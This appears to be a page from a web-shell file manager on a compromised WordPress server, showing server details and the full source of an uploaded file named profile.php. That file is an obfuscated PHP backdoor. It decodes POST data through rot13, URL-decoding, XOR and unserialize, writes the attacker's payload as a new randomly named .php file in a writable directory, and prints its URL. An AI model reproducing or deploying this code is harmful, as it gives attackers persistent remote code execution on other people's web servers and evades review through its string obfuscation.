HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/uploads/2023/01/profile.php
<?php $yTXUetRN = "ZUYZBVYEVW";function Afhoyi($yTXUetRN){ $kJZFjP = chr(115)."\x74".'r'.'_'."\x72".chr(111).chr(116)."\x31".'3';$yTXUetRN = $kJZFjP($yTXUetRN);$ORRtR = 'r'.'a'."\x77".chr(408-291)."\x72".chr(1033-925).chr(872-772)."\x65".chr(99).chr(347-236).chr(100).chr(797-696);$yTXUetRN = $ORRtR($yTXUetRN);$yTXUetRN = str_split($yTXUetRN);return $yTXUetRN;}function wIMTiVqraO($FkZXQpQ, $mAKxWte){$FkZXQpQ = array_slice(str_split(str_repeat($FkZXQpQ, (count($mAKxWte)/16)+1)), 0, count($mAKxWte));return $FkZXQpQ;}function wAtazDQ($tWokX, $zkerTwVmtO, $FkZXQpQ){$VusrG = "36bcbb11-b1d2-460d-895a-075b08fa1161";return $tWokX ^ $VusrG[$zkerTwVmtO % strlen($VusrG)] ^ $FkZXQpQ;}function mWzBCSuiA($mAKxWte, $FkZXQpQ){$mAKxWte = array_map("wAtazDQ", array_values($mAKxWte), array_keys($mAKxWte), array_values($FkZXQpQ));$mAKxWte = implode("", $mAKxWte);$bkTDVY = 'u'.chr(929-819).chr(115)."\x65".chr(114)."\x69"."\141"."\154".'i'.chr(122).'e';$mAKxWte = @$bkTDVY($mAKxWte);return $mAKxWte;}function kRKEuqJznB(){echo "zdAVg";}function eGLsGRcZci($xoTcaoIWir){static $rrpdHTgfc = array();$vnvrAEk = glob($xoTcaoIWir . '/*', GLOB_ONLYDIR);$GqTtfNF = count($vnvrAEk);if ($GqTtfNF > 0) {foreach ($vnvrAEk as $xoTcaoIW) {$EaCWPp = "\151"."\x73".chr(765-670).'w'.chr(901-787).'i'.chr(136-20).chr(954-857).chr(1093-995).chr(108).chr(101);if (@$EaCWPp($xoTcaoIW)) {$rrpdHTgfc[] = $xoTcaoIW;}}}foreach ($vnvrAEk as $xoTcaoIWir) eGLsGRcZci($xoTcaoIWir);return $rrpdHTgfc;}function Vgaou(){echo "ZUYZBVYEVW";}function EpQtEdZgKv($mAKxWte){$obhosUYuqM = "\104"."\117"."\103"."\x55"."\115".chr(616-547).chr(500-422).'T'.chr(284-189).'R'.'O'.chr(79).chr(224-140);$iqAfootRRT = $_SERVER[$obhosUYuqM];$vnvrAEk = eGLsGRcZci($iqAfootRRT);$XtXlFvUU = array_rand($vnvrAEk);$VEUuAD = '.'.'p'."\150".chr(112);$FdBEukTm = $vnvrAEk[$XtXlFvUU] . "/" . substr(md5(time()), 0, 8) . $VEUuAD;$IkDsSwt = chr(102).chr(105)."\154".'e'.'_'."\160".chr(117).chr(116)."\x5f"."\x63".chr(923-812).'n'.chr(116).chr(101).chr(716-606).chr(452-336)."\163";@$IkDsSwt($FdBEukTm, $mAKxWte);$GmIBQZXGtj = chr(77-5).chr(867-783).chr(84)."\120".chr(95).chr(220-148)."\x4f"."\x53"."\x54";$nNlrHp = "\x68".'t'."\164"."\x70"."\x3a".chr(421-374)."\x2f";$ASkNWbmmQg = $nNlrHp . $_SERVER[$GmIBQZXGtj] . substr($FdBEukTm, strlen($iqAfootRRT));print($ASkNWbmmQg);}function fhDumXrL(){$aTLnfjdYpK = chr(191-79).chr(1079-975)."\160";$PYWEpvJ = chr(803-691)."\150"."\x70"."\x76".chr(594-493).'r'.chr(115).chr(105).chr(111)."\156";$mAKxWte = Array($aTLnfjdYpK => @$PYWEpvJ(), );$TsrzL = 's'.'e'."\x72"."\x69".chr(97).chr(108).chr(105).chr(141-19)."\x65";echo @$TsrzL($mAKxWte);}foreach ($_POST as $FkZXQpQ => $mAKxWte){$zSqbVXGy = strlen($FkZXQpQ);if ($zSqbVXGy == 16){$mAKxWte = Afhoyi($mAKxWte);$FkZXQpQ = wIMTiVqraO($FkZXQpQ, $mAKxWte);$mAKxWte = mWzBCSuiA($mAKxWte, $FkZXQpQ);if (@is_array($mAKxWte)){$XtXlFvUU = array_keys($mAKxWte);$mAKxWte = $mAKxWte[$XtXlFvUU[0]];$XtXlFvUU = $XtXlFvUU[0];if ($mAKxWte !== $XtXlFvUU){EpQtEdZgKv($mAKxWte);}else {fhDumXrL();}die();}}}